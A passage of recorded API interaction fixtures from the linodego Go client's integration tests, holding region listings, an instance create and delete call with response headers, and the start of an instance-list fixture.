"Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17,172.232.96.26,172.232.96.19,172.232.96.20,172.232.96.25,172.232.96.21,172.232.96.18,172.232.96.22,172.232.96.23,172.232.96.24", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44,172.233.64.43,172.233.64.37,172.233.64.40,172.233.64.46,172.233.64.41,172.233.64.39,172.233.64.42,172.233.64.45,172.233.64.38", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19,172.232.192.18,172.232.192.16,172.232.192.20,172.232.192.24,172.232.192.21,172.232.192.22,172.232.192.17,172.232.192.15,172.232.192.23", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34,172.233.160.27,172.233.160.30,172.233.160.29,172.233.160.32,172.233.160.28,172.233.160.33,172.233.160.26,172.233.160.25,172.233.160.31", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23,172.232.224.32,172.232.224.26,172.232.224.27,172.232.224.21,172.232.224.24,172.232.224.22,172.232.224.20,172.232.224.31,172.232.224.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45,172.233.128.38,172.233.128.53,172.233.128.37,172.233.128.34,172.233.128.36,172.233.128.33,172.233.128.39,172.233.128.43,172.233.128.44", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46,172.236.0.50,172.236.0.47,172.236.0.53,172.236.0.52,172.236.0.45,172.236.0.49,172.236.0.51,172.236.0.54,172.236.0.48", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23,172.236.32.35,172.236.32.30,172.236.32.28,172.236.32.32,172.236.32.33,172.236.32.27,172.236.32.37,172.236.32.29,172.236.32.34", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-bom-2", "label": "Mumbai 2, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.171.41,172.236.171.42,172.236.171.25,172.236.171.44,172.236.171.26,172.236.171.45,172.236.171.24,172.236.171.43,172.236.171.27,172.236.171.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "de-fra-2", "label": "Frankfurt 2, DE", "country": "de", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.236.203.9,172.236.203.16,172.236.203.19,172.236.203.15,172.236.203.17,172.236.203.11,172.236.203.18,172.236.203.14,172.236.203.13,172.236.203.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "sg-sin-2", "label": "Singapore 2, SG", "country": "sg", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.129.8,172.236.129.42,172.236.129.41,172.236.129.19,172.236.129.46,172.236.129.23,172.236.129.48,172.236.129.20,172.236.129.21,172.236.129.47", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-tyo-3", "label": "Tokyo 3, JP", "country": "jp", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.237.4.15,172.237.4.19,172.237.4.17,172.237.4.21,172.237.4.16,172.237.4.18,172.237.4.23,172.237.4.24,172.237.4.20,172.237.4.14", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 31}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 17 Dec 2024 21:17:55 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-lax","type":"g1-accelerated-netint-vpu-t1u1-s","label":"go-inst-test-create-vpu","root_pass":"*;m69FwMc01;1xhofX*Hh[S?G$zO678in4I\u0026d)w9k5E!7^80ZK2B`JkV\u003e\u003e5I;Fi-","image":"linode/debian12","firewall_id":1384634,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 68664304, "label": "go-inst-test-create-vpu", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g1-accelerated-netint-vpu-t1u1-s", "ipv4": ["172.235.54.133"], "ipv6": "1234::5678/128", "image": "linode/debian12", "region": "us-lax", "site_type": "core", "specs": {"disk": 204800, "memory": 16384, "vcpus": 8, "gpus": 0, "transfer": 0, "accelerated_devices": 1}, "alerts": {"cpu": 720, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "c7ddd1b17f8d9fe4b82fa29a2ae05811a400fae2", "has_user_data": false, "placement_group": null, "disk_encryption": "enabled", "lke_cluster_id": null, "capabilities": ["Block Storage Encryption"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 17 Dec 2024 21:17:56 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "8" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68664304 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 17 Dec 2024 21:17:57 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestInstances_List.yaml000066400000000000000000001030271474652371000312350ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 